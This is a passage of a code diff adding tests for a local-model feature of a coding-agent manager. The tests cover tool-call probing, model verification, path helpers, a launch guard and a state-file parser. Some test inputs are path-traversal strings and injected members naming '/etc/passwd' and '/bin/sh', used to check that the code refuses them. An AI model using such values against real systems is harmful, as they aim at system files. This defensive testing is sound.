+    // The finish reason is not what decides: the call is.
+    expect(judgeToolProbe(200, answer({ tool_calls: [call('{"path":"a"}')] }, 'stop'))).toEqual({ ok: true });
+  });
+
+  it('answers no-tool-call for an answer in plain text', () => {
+    expect(judgeToolProbe(200, answer({ content: 'I would read the file, but I cannot.' }, 'stop'))).toEqual({
+      ok: false,
+      code: 'no-tool-call',
+      detail: 'The model answered in text: I would read the file, but I cannot.',
+    });
+    expect(judgeToolProbe(200, answer({ content: '', tool_calls: [] }, 'stop'))).toMatchObject({
+      ok: false,
+      code: 'no-tool-call',
+    });
+  });
+
+  it('answers no-tool-call for a tool call whose arguments are not a JSON object', () => {
+    for (const bad of ['{"path": ', 'README.md', '"README.md"', '[1]', 'null', '', 42, null, undefined]) {
+      expect(judgeToolProbe(200, answer({ tool_calls: [call(bad)] }, 'tool_calls')), JSON.stringify(bad)).toMatchObject(
+        {
+          ok: false,
+          code: 'no-tool-call',
+        }
+      );
+    }
+    // A call without a name, and one good call beside a broken one.
+    expect(judgeToolProbe(200, answer({ tool_calls: [call('{}', '')] }, 'tool_calls'))).toMatchObject({
+      code: 'no-tool-call',
+    });
+    expect(
+      judgeToolProbe(200, answer({ tool_calls: [call('{"path":"a"}'), call('{"path": ')] }, 'tool_calls'))
+    ).toMatchObject({ code: 'no-tool-call' });
+    expect(judgeToolProbe(200, answer({ tool_calls: ['read_file'] }, 'tool_calls'))).toMatchObject({
+      code: 'no-tool-call',
+    });
+  });
+
+  it('answers probe-unfinished when the token limit ended the answer: that proves nothing', () => {
+    expect(
+      judgeToolProbe(200, answer({ content: '', reasoning: 'The user wants me to read a file. I should' }, 'length'))
+    ).toEqual({ ok: false, code: 'probe-unfinished', detail: 'The answer ended at 1024 tokens' });
+  });
+
+  it('answers load-failed for any other status, with what the runtime said', () => {
+    expect(judgeToolProbe(500, { error: { message: 'llm server error: out of memory' } })).toEqual({
+      ok: false,
+      code: 'load-failed',
+      detail: 'llm server error: out of memory',
+    });
+    expect(judgeToolProbe(404, { error: "model 'x' not found" })).toMatchObject({
+      code: 'load-failed',
+      detail: "model 'x' not found",
+    });
+    expect(judgeToolProbe(502, undefined)).toEqual({
+      ok: false,
+      code: 'load-failed',
+      detail: 'The runtime answered 502',
+    });
+  });
+
+  it('answers no-tool-call for a 200 it cannot read at all', () => {
+    for (const body of [undefined, null, 'text', [], {}, { choices: [] }, { choices: [null] }, { choices: [{}] }]) {
+      expect(judgeToolProbe(200, body), JSON.stringify(body)).toEqual({
+        ok: false,
+        code: 'no-tool-call',
+        detail: 'The answer holds no tool call',
+      });
+    }
+  });
+});
+
+describe('verifyModel', () => {
+  it('passes a model that loads, sits on the GPU at the chosen context and calls a tool', async () => {
+    const { fake: server, target } = await runtime({ installed: true });
+    expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({
+      ok: true,
+      loaded: { context: 131072, sizeBytes: 23_205_798_956, sizeVramBytes: 23_205_798_956 },
+    });
+    // In this order: the chat that loads it, the process list, the tool probe.
+    expect(server.requests.map((r) => `${r.method} ${r.path}`)).toEqual([
+      'POST /v1/chat/completions',
+      'GET /api/ps',
+      'POST /v1/chat/completions',
+    ]);
+    const [chat, , probe] = server.requests.map((r) => r.body as Record<string, unknown>);
+    expect(chat).toEqual(buildChatProbeRequest(MODEL));
+    expect(chat).toMatchObject({ reasoning_effort: 'none' });
+    expect(chat).not.toHaveProperty('tools');
+    expect(probe).toEqual(buildToolProbeRequest(MODEL));
+    expect(probe).toMatchObject({ reasoning_effort: 'none', max_tokens: 1024 });
+    expect(Array.isArray(probe.tools)).toBe(true);
+  });
+
+  it('answers load-failed when the chat that loads the model fails, and asks nothing more', async () => {
+    const { fake: server, target } = await runtime({ installed: true, chat: 'error' });
+    expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({
+      ok: false,
+      code: 'load-failed',
+      detail: 'llm server error: out of memory',
+    });
+    expect(server.requests).toHaveLength(1);
+  });
+
+  it('answers load-failed for a model that is not on disk', async () => {
+    const { target } = await runtime();
+    expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'load-failed' });
+  });
+
+  it('answers load-failed when no runtime answers', async () => {
+    expect(await verifyModel(await deadTarget(), MODEL, CONTEXT)).toEqual({
+      ok: false,
+      code: 'load-failed',
+      detail: 'The runtime did not answer the first request',
+    });
+  });
+
+  it('answers load-failed when the model is not in the process list after the chat', async () => {
+    const { fake: server, target } = await runtime({ installed: true, ps: { loaded: false } });
+    expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'load-failed' });
+    // The tool probe was not sent.
+    expect(server.requests.filter((r) => r.path === '/v1/chat/completions')).toHaveLength(1);
+  });
+
+  it('answers does-not-fit when part of the model is not on the GPU, before any tool probe', async () => {
+    const { fake: server, target } = await runtime({ installed: true, ps: { sizeVram: 18_000_000_000 } });
+    expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({
+      ok: false,
+      code: 'does-not-fit',
+      detail: '18.0 of 23.2 GB of the model are on the GPU',
+    });
+    expect(server.requests.filter((r) => r.path === '/v1/chat/completions')).toHaveLength(1);
+  });
+
+  it('answers context-not-applied when the runtime loaded another context than the chosen one', async () => {
+    const { target } = await runtime({ installed: true, contextLength: 32768 });
+    expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'context-not-applied' });
+    // The same runtime passes when 32768 is what was chosen.
+    expect(await verifyModel(target, MODEL, 32768)).toMatchObject({ ok: true, loaded: { context: 32768 } });
+  });
+
+  it('answers no-tool-call when the model answers the tool probe in text', async () => {
+    const { target } = await runtime({ installed: true, tool: 'none' });
+    expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({
+      ok: false,
+      code: 'no-tool-call',
+      detail: 'The model answered in text: I would read the file, but I cannot.',
+    });
+  });
+
+  it('answers no-tool-call when the arguments of the tool call do not parse', async () => {
+    const { target } = await runtime({ installed: true, tool: 'bad-arguments' });
+    expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'no-tool-call' });
+  });
+
+  it('answers probe-unfinished, not no-tool-call, when the token limit ended the answer', async () => {
+    const { target } = await runtime({ installed: true, tool: 'length' });
+    expect(await verifyModel(target, MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'probe-unfinished' });
+  });
+
+  it('answers cancelled for an aborted signal, at whatever point it is noticed', async () => {
+    const { fake: server, target } = await runtime({ installed: true });
+    const before = new AbortController();
+    before.abort();
+    expect(await verifyModel(target, MODEL, CONTEXT, before.signal)).toEqual({ ok: false, code: 'cancelled' });
+    expect(server.requests).toHaveLength(0);
+
+    // Aborted while the first request is on its way.
+    const during = new AbortController();
+    const slow: OllamaTarget = {
+      baseUrl: server.baseUrl,
+      fetch: async (input, init) => {
+        during.abort();
+        return fetch(input, init);
+      },
+    };
+    expect(await verifyModel(slow, MODEL, CONTEXT, during.signal)).toEqual({ ok: false, code: 'cancelled' });
+  });
+
+  it('never throws, whatever the runtime sends back', async () => {
+    const answers = ['', 'not json', '[]', 'null', '{"choices":"x"}'];
+    for (const text of answers) {
+      const target: OllamaTarget = {
+        baseUrl: 'http://127.0.0.1:1',
+        fetch: async () => new Response(text, { status: 200 }),
+      };
+      const result = await verifyModel(target, MODEL, CONTEXT);
+      // The chat was "answered", the process list lists nothing.
+      expect(result, text).toMatchObject({ ok: false, code: 'load-failed' });
+    }
+  });
+});

test/local-model-paths.test.ts

@@ -0,0 +1,70 @@
+/**
+ * @fileoverview Tests for src/local-model/paths.ts: where the local model lives on disk.
+ *
+ * Pinned: every path sits under the data dir (so a second Codeman instance has its own),
+ * everything but the state file sits inside the one folder uninstall owns, a version string
+ * can never add a path segment, and the inside-the-folder check resolves `..` first.
+ *
+ * Port: N/A (pure functions; the data dir is the temp HOME test/setup.ts gives each file).
+ */
+
+import { join } from 'node:path';
+import { describe, expect, it } from 'vitest';
+import { getDataDir } from '../src/config/instance.js';
+import { isInsideLocalModelRoot, localModelPaths } from '../src/local-model/paths.js';
+
+describe('localModelPaths', () => {
+  it('builds every path from the data dir', () => {
+    const data = getDataDir();
+    expect(localModelPaths('0.40.15')).toEqual({
+      root: join(data, 'local-model'),
+      runtimeRoot: join(data, 'local-model', 'runtime'),
+      runtimeDir: join(data, 'local-model', 'runtime', 'ollama-0.40.15'),
+      binary: join(data, 'local-model', 'runtime', 'ollama-0.40.15', 'ollama'),
+      archivePartial: join(data, 'local-model', 'runtime', 'ollama-0.40.15.tgz.partial'),
+      unpackDir: join(data, 'local-model', 'runtime', 'ollama-0.40.15.unpack'),
+      modelsDir: join(data, 'local-model', 'models'),
+      homeDir: join(data, 'local-model', 'home'),
+      stateFile: join(data, 'local-model.json'),
+    });
+  });
+
+  it('keeps everything but the state file inside the one folder', () => {
+    const paths = localModelPaths('0.40.15');
+    const { root, stateFile, ...inside } = paths;
+    for (const path of Object.values(inside)) expect(isInsideLocalModelRoot(path, root)).toBe(true);
+    expect(isInsideLocalModelRoot(root, root)).toBe(true);
+    expect(isInsideLocalModelRoot(stateFile, root)).toBe(false);
+  });
+
+  it('refuses a version that is not digits and dots', () => {
+    for (const version of ['', '0', '../x', '0.40.15/..', '0.40.15-rc1', 'v0.40.15', '0..1', '1.2.3.4.5']) {
+      expect(() => localModelPaths(version)).toThrow(/Not a runtime version/);
+    }
+    expect(() => localModelPaths('1.2')).not.toThrow();
+    expect(() => localModelPaths('1.2.3.4')).not.toThrow();
+  });
+});
+
+describe('isInsideLocalModelRoot', () => {
+  const root = '/data/local-model';
+
+  it('accepts the folder and what lies in it', () => {
+    expect(isInsideLocalModelRoot('/data/local-model', root)).toBe(true);
+    expect(isInsideLocalModelRoot('/data/local-model/', root)).toBe(true);
+    expect(isInsideLocalModelRoot('/data/local-model/models/blobs/x', root)).toBe(true);
+  });
+
+  it('refuses a sibling, a parent and a path that climbs out', () => {
+    expect(isInsideLocalModelRoot('/data/local-model.json', root)).toBe(false);
+    expect(isInsideLocalModelRoot('/data/local-model-2/x', root)).toBe(false);
+    expect(isInsideLocalModelRoot('/data', root)).toBe(false);
+    expect(isInsideLocalModelRoot('/data/local-model/../settings.json', root)).toBe(false);
+    expect(isInsideLocalModelRoot('/data/local-model/models/../../../etc', root)).toBe(false);
+  });
+
+  it('defaults to the folder under the data dir', () => {
+    expect(isInsideLocalModelRoot(join(getDataDir(), 'local-model', 'home'))).toBe(true);
+    expect(isInsideLocalModelRoot(join(getDataDir(), 'settings.json'))).toBe(false);
+  });
+});

test/local-model-session-launch-guard.test.ts

@@ -0,0 +1,294 @@
+/**
+ * @fileoverview No coding agent is STARTED on the model Codeman runs on this Mac while that
+ * model cannot be started on: the launch guard below the routes.
+ *
+ * The two routes that put a session onto a custom model endpoint ask the install service
+ * before they write anything (test/routes/local-model-launch-guard.test.ts). That leaves
+ * every other way a new agent process comes to be in a session that already carries the
+ * selection: the attach that finds no pane, the respawn of a dead pane (a click on the tab, a
+ * respawn start, the recovery at boot), a restart in place, and the rebuild after a reboot.
+ * They all end in `Session`, so the guard sits there:
+ *
+ *  - `Session.setLaunchGuard()` is asked right before a NEW agent process is started (a fresh
+ *    pane, the respawn of a dead one, `restartCli()`), and never for an attach to an agent
+ *    that runs: a session whose runtime was stopped can still be looked at and closed.
+ *  - `WebServer.setupSessionListeners()` sets it for every session, and it asks
+ *    `LocalModelService.launchRefusalMessage()` with the session's own selection.
+ *  - The reboot-restore route asks the same question before it builds anything, so the entry
+ *    is refused with its own reason and stays on offer.
+ *
+ * The Session cases drive a real `Session` against the in-memory tmux layer vitest
+ * substitutes. The wiring cases use the REAL install service over the real state file, with
+ * no runtime running, which is exactly the state that must refuse.
+ *
+ * Port: N/A (WebServer in test mode binds none; the routes go through app.inject).
+ */
+import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
+import { homedir } from 'node:os';
+import { join } from 'node:path';
+import Fastify, { type FastifyInstance } from 'fastify';
+import fastifyCookie from '@fastify/cookie';
+import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest';
+
+import { dataPath } from '../src/config/instance.js';
+import type { RebootRestoreEntry } from '../src/reboot-restore.js';
+import { Session } from '../src/session.js';
+import { TmuxManager } from '../src/tmux-manager.js';
+import { httpStatusForErrorCode, type ApiErrorCode, type MuxSession, type SessionState } from '../src/types.js';
+import { rebootRestoreRegistry } from '../src/web/reboot-restore-registry.js';
+import { installRouteErrorHandler } from '../src/web/route-error-handler.js';
+import { registerRebootRestoreRoutes } from '../src/web/routes/reboot-restore-routes.js';
+import { WebServer } from '../src/web/server.js';
+import { createMockRouteContext, safeRmHomeTree } from './mocks/index.js';
+
+const WORKSPACE = join(homedir(), 'codeman-cases', 'local-model-launch-guard');
+const STATE = () => dataPath('local-model.json');
+const NOT_RUNNING = 'The model on this Mac is not running. Start it first.';
+const CHANGED = 'The model on this Mac changed since it was installed. Remove it and install it again.';
+const SELECTION = { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b', envKeys: [] as string[] };
+
+const sessions: Session[] = [];
+
+function paneOf(mode: 'claude' | 'opencode' = 'claude'): MuxSession {
+  return {
+    sessionId: 'placeholder',
+    muxName: 'codeman-cafe0002',
+    pid: 1,
+    createdAt: Date.now(),
+    workingDir: WORKSPACE,
+    mode,
+    attached: false,
+  };
+}
+
+/** A session that already has a pane, alive or dead as the test says. */
+function sessionWithPane(dead: boolean) {
+  mkdirSync(WORKSPACE, { recursive: true });
+  const mux = new TmuxManager();
+  const session = new Session({ workingDir: WORKSPACE, mode: 'claude', mux, useMux: true, muxSession: paneOf() });
+  sessions.push(session);
+  vi.spyOn(mux, 'muxSessionExists').mockReturnValue(true);
+  vi.spyOn(mux, 'isPaneDead').mockReturnValue(dead);
+  const respawn = vi.spyOn(mux, 'respawnPane').mockResolvedValue(4242);
+  const create = vi.spyOn(mux, 'createSession');
+  return { session, mux, respawn, create };
+}
+
+/** The state file of an installed model whose connection is the managed record. No runtime runs. */
+function writeInstalledState(): void {
+  writeFileSync(
+    STATE(),
+    JSON.stringify({
+      schema: 1,
+      state: 'installed',
+      model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072, digest: 'abc123' },
+      cli: { id: 'opencode', label: 'OpenCode' },
+      runtime: { version: '0.40.15', port: 11435, enabled: true },
+      connection: { endpointId: 'local-ollama', flagWasEnabled: false },
+    })
+  );
+}
+
+afterEach(() => {
+  for (const session of sessions.splice(0)) session.stop();
+  rmSync(STATE(), { force: true });
+  rebootRestoreRegistry.reset();
+  vi.restoreAllMocks();
+});
+
+afterAll(() => {
+  safeRmHomeTree(WORKSPACE);
+});
+
+describe('Session: the guard is asked before a new agent process, and only then', () => {
+  it('a restart in place that is refused rejects with the sentence, and the pane keeps what runs in it', async () => {
+    const { session, respawn } = sessionWithPane(false);
+    const guard = vi.fn(async () => CHANGED);
+    session.setLaunchGuard(guard);
+    await expect(session.restartCli()).rejects.toThrow(CHANGED);
+    expect(guard).toHaveBeenCalledTimes(1);
+    expect(respawn).not.toHaveBeenCalled();
+  });
+
+  it('a guard that has nothing to say lets the restart through', async () => {
+    const { session, respawn } = sessionWithPane(false);
+    session.setLaunchGuard(async () => undefined);
+    expect(await session.restartCli()).toBe(true);
+    expect(respawn).toHaveBeenCalledTimes(1);
+  });
+
+  it('without a guard nothing changes', async () => {
+    const { session, respawn } = sessionWithPane(false);
+    expect(await session.restartCli()).toBe(true);
+    expect(respawn).toHaveBeenCalledTimes(1);
+  });
+
+  it('an attach to a pane whose agent runs is never asked: the session can still be looked at', async () => {
+    const { session, respawn, create } = sessionWithPane(false);
+    const guard = vi.fn(async () => NOT_RUNNING);
+    session.setLaunchGuard(guard);
+    await session.startInteractive();
+    expect(guard).not.toHaveBeenCalled();
+    expect(respawn).not.toHaveBeenCalled();
+    expect(create).not.toHaveBeenCalled();
+  });
+
+  it('the respawn of a dead pane is asked first, and a refusal starts nothing', async () => {
+    const { session, respawn, create } = sessionWithPane(true);
+    const guard = vi.fn(async () => NOT_RUNNING);
+    session.setLaunchGuard(guard);
+    await expect(session.startInteractive()).rejects.toThrow(NOT_RUNNING);
+    expect(guard).toHaveBeenCalledTimes(1);
+    expect(respawn).not.toHaveBeenCalled();
+    // And no new pane is made in its place either.
+    expect(create).not.toHaveBeenCalled();
+  });
+
+  it('a session without a pane is asked before one is created', async () => {
+    mkdirSync(WORKSPACE, { recursive: true });
+    const mux = new TmuxManager();
+    const session = new Session({ workingDir: WORKSPACE, mode: 'claude', mux, useMux: true });
+    sessions.push(session);
+    const create = vi.spyOn(mux, 'createSession');
+    session.setLaunchGuard(async () => NOT_RUNNING);
+    await expect(session.startInteractive()).rejects.toThrow(NOT_RUNNING);
+    expect(create).not.toHaveBeenCalled();
+
+    // The guard taken away again: the pane is created.
+    session.setLaunchGuard(null);
+    create.mockResolvedValue(paneOf());
+    await session.startInteractive();
+    expect(create).toHaveBeenCalledTimes(1);
+  });
+});
+
+describe('WebServer: every session asks the install service about its own selection', () => {
+  interface ServerInternals {
+    setupSessionListeners(session: Session): Promise<void>;
+    discardPartiallyBuiltSession(sessionId: string): Promise<void>;
+  }
+  let server: WebServer;
+  let internals: ServerInternals;
+
+  beforeAll(() => {
+    // Test mode: no port is opened and no CLI is launched.
+    server = new WebServer(0, false, true);
+    internals = server as unknown as ServerInternals;
+  });
+
+  afterAll(async () => {
+    await server.stop().catch(() => {});
+  });
+
+  async function wired(selection?: typeof SELECTION) {
+    const made = sessionWithPane(false);
+    if (selection) made.session.setCustomModel(selection, {});
+    await internals.setupSessionListeners(made.session);
+    return made;
+  }
+
+  it('a session on the managed endpoint is not restarted while the runtime is down', async () => {
+    writeInstalledState();
+    const { session, respawn } = await wired(SELECTION);
+    await expect(session.restartCli()).rejects.toThrow(NOT_RUNNING);
+    expect(respawn).not.toHaveBeenCalled();
+    await internals.discardPartiallyBuiltSession(session.id).catch(() => {});
+  });
+
+  it('nor is its dead pane respawned, which is what a click on the tab and the boot recovery do', async () => {
+    writeInstalledState();
+    const { session, mux, respawn } = await wired(SELECTION);
+    vi.spyOn(mux, 'isPaneDead').mockReturnValue(true);
+    await expect(session.startInteractive()).rejects.toThrow(NOT_RUNNING);
+    expect(respawn).not.toHaveBeenCalled();
+    await internals.discardPartiallyBuiltSession(session.id).catch(() => {});
+  });
+
+  it('only the model that was installed may be started on it', async () => {
+    writeInstalledState();
+    const { session } = await wired({ ...SELECTION, modelId: 'something-pulled-by-hand' });
+    await expect(session.restartCli()).rejects.toThrow(/Only Qwen3\.6 35B-A3B is installed on this Mac|not running/);
+    await internals.discardPartiallyBuiltSession(session.id).catch(() => {});
+  });
+
+  it('a session on another endpoint, and one without a selection, start as before', async () => {
+    writeInstalledState();
+    const other = await wired({ ...SELECTION, endpointId: 'office-gpu' });
+    expect(await other.session.restartCli()).toBe(true);
+    await internals.discardPartiallyBuiltSession(other.session.id).catch(() => {});
+    const plain = await wired();
+    expect(await plain.session.restartCli()).toBe(true);
+    await internals.discardPartiallyBuiltSession(plain.session.id).catch(() => {});
+  });
+
+  it('a selection made AFTER the listeners were wired is asked about too', async () => {
+    writeInstalledState();
+    const { session, respawn } = await wired();
+    session.setCustomModel(SELECTION, {});
+    await expect(session.restartCli()).rejects.toThrow(NOT_RUNNING);
+    expect(respawn).not.toHaveBeenCalled();
+    await internals.discardPartiallyBuiltSession(session.id).catch(() => {});
+  });
+});
+
+describe('POST /api/reboot-restore/restore: a session that ran on the managed endpoint', () => {
+  async function harness(ctx: ReturnType<typeof createMockRouteContext>): Promise<FastifyInstance> {
+    const app = Fastify({ logger: false });
+    await app.register(fastifyCookie);
+    registerRebootRestoreRoutes(app, ctx as never);
+    app.addHook('preSerialization', (req, reply, payload: unknown, done) => {
+      if (payload === null || typeof payload !== 'object') return done(null, payload);
+      const p = payload as { success?: unknown; errorCode?: unknown };
+      if (p.success === false) {
+        if (reply.statusCode === 200 && typeof p.errorCode === 'string') {
+          reply.code(httpStatusForErrorCode(p.errorCode as ApiErrorCode));
+        }
+        return done(null, payload);
+      }
+      if (p.success === true) return done(null, payload);
+      return done(null, { success: true, data: payload });
+    });
+    installRouteErrorHandler(app);
+    await app.ready();
+    return app;
+  }
+
+  /** An entry whose workspace exists, so only the model question can stop it. */
+  function entryOn(endpointId: string): RebootRestoreEntry {
+    mkdirSync(WORKSPACE, { recursive: true });
+    return {
+      sessionId: 'feedbeef00000001',
+      name: 'w1-app',
+      workingDir: WORKSPACE,
+      mode: 'claude',
+      resumeConversationId: 'conv-1',
+      state: {
+        id: 'feedbeef00000001',
+        pid: null,
+        status: 'idle',
+        workingDir: WORKSPACE,
+        currentTaskId: null,
+        createdAt: 1_760_000_000_000,
+        mode: 'claude',
+        __customModel: { endpointId, modelId: 'qwen3.6:35b-a3b', envKeys: [] },
+      } as unknown as SessionState,
+    };
+  }
+
+  it('is not rebuilt while the model cannot be started on, says why, and stays on offer', async () => {
+    vi.spyOn(console, 'warn').mockImplementation(() => {});
+    writeInstalledState();
+    rebootRestoreRegistry.set([entryOn('local-ollama')]);
+    const ctx = createMockRouteContext();
+    const app = await harness(ctx);
+    const body = (await app.inject({ method: 'POST', url: '/api/reboot-restore/restore', payload: {} })).json().data;
+    expect(body.restored).toEqual([]);
+    expect(body.skipped).toEqual([{ sessionId: 'feedbeef00000001', reason: 'local-model-not-ready' }]);
+    // Nothing was built: no session was added, so there is nothing to discard.
+    expect(ctx.addSession).not.toHaveBeenCalled();
+    // The model can be started and the click repeated.
+    const left = (await app.inject({ method: 'GET', url: '/api/reboot-restore' })).json().data;
+    expect(left.sessions.map((s: { id: string }) => s.id)).toEqual(['feedbeef00000001']);
+    await app.close();
+  });
+});

test/local-model-state-store.test.ts

@@ -0,0 +1,270 @@
+/**
+ * @fileoverview The one reader and writer of `local-model.json` (src/local-model/state-store.ts).
+ *
+ * What is pinned:
+ *  - reading is TOTAL: a missing file, text that does not parse, another schema, an unknown
+ *    state and a state that lacks a member it needs all read as idle, and a member of the
+ *    wrong type is dropped rather than trusted;
+ *  - the file holds no path, so nothing in it can point a delete anywhere;
+ *  - writes are serialized, go through a temp file, are mode 0600 and stamp `updatedAt`.
+ *
+ * Port: N/A (no server; the file lives in the test's temp data dir).
+ */
+import { afterEach, describe, expect, it } from 'vitest';
+import { existsSync, readdirSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs';
+import { dirname } from 'node:path';
+import { dataPath } from '../src/config/instance.js';
+import {
+  IDLE_LOCAL_MODEL_STATE,
+  mutateLocalModelState,
+  parseLocalModelState,
+  readLocalModelState,
+} from '../src/local-model/state-store.js';
+import type { LocalModelStateFile } from '../src/types.js';
+
+const FILE = () => dataPath('local-model.json');
+
+const INSTALLED: LocalModelStateFile = {
+  schema: 1,
+  state: 'installed',
+  model: {
+    id: 'qwen3.6:35b-a3b',
+    label: 'Qwen3.6 35B-A3B',
+    context: 131072,
+    pullBytes: 23_105_798_956,
+    digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
+  },
+  cli: { id: 'opencode', label: 'OpenCode' },
+  runtime: { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 },
+  loaded: { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 },
+  connection: { endpointId: 'local-ollama', flagWasEnabled: false },
+  updatedAt: '2026-11-06T10:00:00.000Z',
+};
+
+const PAUSED: LocalModelStateFile = {
+  schema: 1,
+  state: 'paused',
+  step: 'model',
+  steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
+  model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
+  cli: { id: 'opencode', label: 'OpenCode' },
+  runtime: { version: '0.40.15', port: 11435, enabled: true },
+  progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 },
+};
+
+const FAILED: LocalModelStateFile = {
+  ...PAUSED,
+  state: 'failed',
+  step: 'verify',
+  error: {
+    code: 'no-tool-call',
+    vars: { model: 'Qwen3.6 35B-A3B' },
+    detail: 'finish_reason stop',
+    nextModelId: 'gpt-oss:20b',
+  },
+};
+
+afterEach(() => {
+  rmSync(FILE(), { force: true });
+});
+
+describe('parseLocalModelState', () => {
+  it('reads back exactly what a state of each kind holds', () => {
+    for (const state of [INSTALLED, PAUSED, FAILED, { ...PAUSED, state: 'installing' as const }]) {
+      expect(parseLocalModelState(JSON.stringify(state))).toEqual(state);
+    }
+  });
+
+  it.each([
+    ['an empty file', ''],
+    ['text that does not parse', '{"schema":1,"state":"installed",'],
+    ['a list', '[]'],
+    ['null', 'null'],
+    ['another schema', JSON.stringify({ ...INSTALLED, schema: 2 })],
+    ['no schema', JSON.stringify({ state: 'installed' })],
+    ['an unknown state', JSON.stringify({ ...INSTALLED, state: 'ready' })],
+    ['idle', JSON.stringify({ schema: 1, state: 'idle', model: INSTALLED.model })],
+    ['idle with everything a job has', JSON.stringify({ ...PAUSED, state: 'idle' })],
+    ['idle with everything an installation has', JSON.stringify({ ...INSTALLED, state: 'idle' })],
+  ])('%s reads as idle', (_label, raw) => {
+    expect(parseLocalModelState(raw)).toBe(IDLE_LOCAL_MODEL_STATE);
+  });
+
+  it('a state that lacks a member it needs is not trusted: it reads as idle', () => {
+    const without = (state: LocalModelStateFile, key: keyof LocalModelStateFile) => {
+      const copy: Record<string, unknown> = { ...state };
+      delete copy[key];
+      return JSON.stringify(copy);
+    };
+    // Installed needs its model, its coding agent and its runtime (the port).
+    expect(parseLocalModelState(without(INSTALLED, 'model'))).toBe(IDLE_LOCAL_MODEL_STATE);
+    expect(parseLocalModelState(without(INSTALLED, 'cli'))).toBe(IDLE_LOCAL_MODEL_STATE);
+    expect(parseLocalModelState(without(INSTALLED, 'runtime'))).toBe(IDLE_LOCAL_MODEL_STATE);
+    // A job needs its step and its steps, and a failed one its error.
+    expect(parseLocalModelState(without(PAUSED, 'step'))).toBe(IDLE_LOCAL_MODEL_STATE);
+    expect(parseLocalModelState(without(PAUSED, 'steps'))).toBe(IDLE_LOCAL_MODEL_STATE);
+    expect(parseLocalModelState(without(FAILED, 'error'))).toBe(IDLE_LOCAL_MODEL_STATE);
+    expect(parseLocalModelState(JSON.stringify({ ...PAUSED, step: 'agent', steps: ['runtime', 'model'] }))).toBe(
+      IDLE_LOCAL_MODEL_STATE
+    );
+    expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'model'] }))).toBe(
+      IDLE_LOCAL_MODEL_STATE
+    );
+    expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'reboot'] }))).toBe(
+      IDLE_LOCAL_MODEL_STATE
+    );
+    expect(parseLocalModelState(JSON.stringify({ ...FAILED, error: { code: 'made-up' } }))).toBe(
+      IDLE_LOCAL_MODEL_STATE
+    );
+  });
+
+  it('drops a member of the wrong type instead of trusting it', () => {
+    const parsed = parseLocalModelState(
+      JSON.stringify({
+        ...INSTALLED,
+        model: { ...INSTALLED.model, pullBytes: '23 GB', digest: 12 },
+        runtime: { ...INSTALLED.runtime, pid: 'four', measuredTotalBytes: -1 },
+        loaded: { context: 131072, sizeBytes: 'big', sizeVramBytes: 1 },
+        connection: { endpointId: 'local-ollama', flagWasEnabled: 'no' },
+        updatedAt: 5,
+      })
+    );
+    expect(parsed).toEqual({
+      schema: 1,
+      state: 'installed',
+      model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
+      cli: { id: 'opencode', label: 'OpenCode' },
+      runtime: { version: '0.40.15', port: 11435, enabled: true },
+    });
+  });
+
+  it('a port that is not a port makes the runtime unknown', () => {
+    for (const port of [0, 70_000, 11435.5, '11435', null]) {
+      expect(
+        parseLocalModelState(JSON.stringify({ ...PAUSED, runtime: { version: '0.40.15', port, enabled: true } }))
+      ).not.toHaveProperty('runtime');
+    }
+  });
+
+  it('only an explicit false switches the runtime off', () => {
+    const enabled = (value: unknown) =>
+      parseLocalModelState(
+        JSON.stringify({ ...INSTALLED, runtime: { version: '0.40.15', port: 11435, enabled: value } })
+      ).runtime?.enabled;
+    expect(enabled(false)).toBe(false);
+    expect(enabled(true)).toBe(true);
+    expect(enabled(undefined)).toBe(true);
+    expect(enabled('false')).toBe(true);
+  });
+
+  it('drops members it does not know, at every level: a state file holds no path', () => {
+    const parsed = parseLocalModelState(
+      JSON.stringify({
+        ...INSTALLED,
+        root: '/Users/me',
+        runtimeDir: '/',
+        model: { ...INSTALLED.model, path: '/etc' },
+        runtime: { ...INSTALLED.runtime, binary: '/bin/sh' },
+        connection: { ...INSTALLED.connection, file: '/etc/passwd' },
+      })
+    );
+    expect(parsed).toEqual(INSTALLED);
+    expect(JSON.stringify(parsed)).not.toContain('/');
+  });
+
+  it('keeps the model a replaced job left behind on a job, and never on an installed state', () => {
+    expect(parseLocalModelState(JSON.stringify({ ...PAUSED, replacedModelId: 'qwen3.8:27b' })).replacedModelId).toBe(
+      'qwen3.8:27b'
+    );
+    expect(parseLocalModelState(JSON.stringify({ ...INSTALLED, replacedModelId: 'qwen3.8:27b' }))).not.toHaveProperty(
+      'replacedModelId'
+    );
+  });
+
+  it('an error is kept only on a failed job, and progress and a step only on a job', () => {
+    expect(parseLocalModelState(JSON.stringify({ ...PAUSED, error: FAILED.error }))).not.toHaveProperty('error');
+    const installed = parseLocalModelState(
+      JSON.stringify({
+        ...INSTALLED,
+        error: FAILED.error,
+        step: 'connect',
+        steps: PAUSED.steps,
+        progress: PAUSED.progress,
+      })
+    );
+    expect(installed).toEqual(INSTALLED);
+  });
+});
+
+describe('readLocalModelState', () => {
+  it('is idle when the file is missing, and never throws', async () => {
+    expect(existsSync(FILE())).toBe(false);
